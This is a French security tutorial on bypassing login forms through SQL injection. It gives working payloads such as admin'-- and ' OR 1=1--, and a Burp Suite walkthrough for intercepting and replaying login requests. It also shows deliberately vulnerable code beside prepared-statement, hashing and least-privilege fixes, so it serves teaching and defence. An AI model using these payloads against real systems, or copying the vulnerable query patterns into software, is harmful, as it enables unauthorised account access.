Skip to content

Injection SQL : contourner un formulaire d'authentification

L’injection SQL est une vulnérabilité qui consiste à insérer du code SQL dans une entrée utilisateur, interprétée directement par la base de données. Sur un formulaire de connexion, cela permet de contourner la vérification des identifiants sans connaître le mot de passe.

Un formulaire de connexion classique construit généralement une requête SQL à partir des valeurs saisies :

SELECT * FROM users WHERE login = '<login>' AND password = '<password>';

Avec les valeurs admin et monpassword, la requête devient :

SELECT * FROM users WHERE login = 'admin' AND password = 'monpassword';

Si un utilisateur correspond, la connexion est accordée. Le problème : si le serveur insère directement la valeur du champ sans la traiter, l’entrée peut contenir du SQL arbitraire.

En saisissant admin'-- dans le champ login, la requête assemblée devient :

SELECT * FROM users WHERE login = 'admin'--' AND password = 'xxx';

-- est un commentaire SQL. Tout ce qui suit est ignoré par le moteur de base de données. La requête effective est donc :

SELECT * FROM users WHERE login = 'admin';

La condition sur le mot de passe est supprimée. Si un utilisateur admin existe, la requête retourne une ligne et la connexion est accordée — quel que soit le mot de passe saisi.

  1. Configurer Burp Suite comme proxy (127.0.0.1:8080) dans le navigateur
  2. Activer l’interception dans l’onglet Proxy → Intercept
  3. Soumettre le formulaire avec des valeurs quelconques

La requête interceptée dans Burp affiche le corps POST :

POST /login HTTP/1.1
Host: exemple.com
Content-Type: application/x-www-form-urlencoded
login=admin&password=test

Modifier la valeur du champ login directement dans Burp, puis forwarder :

login=admin'--&password=xxx

La requête modifiée est transmise au serveur. Si la réponse redirige vers le tableau de bord ou retourne un contenu authentifié, l’injection a fonctionné.

Si admin n’est pas le nom d’utilisateur, d’autres payloads permettent de contourner l’authentification sans connaître aucun identifiant :

-- Toujours vrai sur le login, commentaire sur le reste
' OR '1'='1'--
-- Toujours vrai sur les deux conditions
' OR 1=1--
-- Variation sans espace
'OR'1'='1
-- Sur le champ password plutôt que login
login=admin&password=' OR '1'='1

La requête générée par ' OR 1=1-- :

SELECT * FROM users WHERE login = '' OR 1=1--' AND password = 'xxx';

1=1 est toujours vrai → la requête retourne toutes les lignes de la table. Selon l’implémentation, la connexion s’effectue avec le premier utilisateur retourné (souvent l’administrateur si la table est ordonnée par ID).

Depuis Burp Proxy, envoyer la requête dans Repeater (Ctrl+R) pour tester plusieurs payloads sans repasser par le navigateur :

login=admin'--&password=xxx → tester avec admin connu
login=' OR 1=1--&password=xxx → bypass sans username
login=administrator'--&password=xxx → variante du nom admin
login=root'--&password=xxx → systèmes Unix

Observer le code de réponse et la taille du corps : un 302 Found ou un corps plus long qu’une réponse d’erreur indique une connexion réussie.

Une injection SQL réussie sur un formulaire d’authentification indique que :

  • Les entrées utilisateur sont concaténées directement dans la requête SQL
  • Le compte de base de données utilisé par l’application a probablement trop de droits
  • D’autres points d’entrée (paramètres GET, headers, champs de recherche) sont potentiellement vulnérables au même type d’injection

La solution est de séparer le code SQL des données. Une requête préparée envoie d’abord la structure SQL au moteur, puis les valeurs séparément — le moteur ne peut pas les interpréter comme du code.

# Python / SQLite — vulnérable
cursor.execute(f"SELECT * FROM users WHERE login = '{login}' AND password = '{password}'")
# Python / SQLite — correct
cursor.execute("SELECT * FROM users WHERE login = ? AND password = ?", (login, password))
// Java JDBC — vulnérable
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE login = '" + login + "'");
// Java JDBC — correct
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE login = ? AND password = ?"
);
stmt.setString(1, login);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
// PHP PDO — vulnérable
$result = $pdo->query("SELECT * FROM users WHERE login = '$login'");
// PHP PDO — correct
$stmt = $pdo->prepare("SELECT * FROM users WHERE login = ? AND password = ?");
$stmt->execute([$login, $password]);

Ne jamais stocker les mots de passe en clair

Section titled “Ne jamais stocker les mots de passe en clair”

Même sans injection SQL, un accès direct à la base de données ne doit pas exposer les mots de passe. Les hacher avec bcrypt ou argon2 :

import bcrypt
# Stockage
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
# Vérification
bcrypt.checkpw(password.encode(), hashed)

Principe du moindre privilège sur la base de données

Section titled “Principe du moindre privilège sur la base de données”

Le compte applicatif ne doit avoir que les droits nécessaires — jamais GRANT ALL :

-- Créer un compte avec droits limités
CREATE USER 'app'@'localhost' IDENTIFIED BY 'motdepasse';
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'app'@'localhost';
-- Pas de DROP, pas de CREATE, pas d'accès aux autres tables

L’injection SQL sur un formulaire d’authentification est une des vulnérabilités les plus documentées — elle figure dans l’OWASP Top 10 depuis sa création. Une requête préparée élimine le risque : le moteur de base de données reçoit le code SQL et les données séparément, et ne peut pas confondre les deux. Concaténer des entrées utilisateur dans du SQL est une erreur de conception, pas un détail d’implémentation.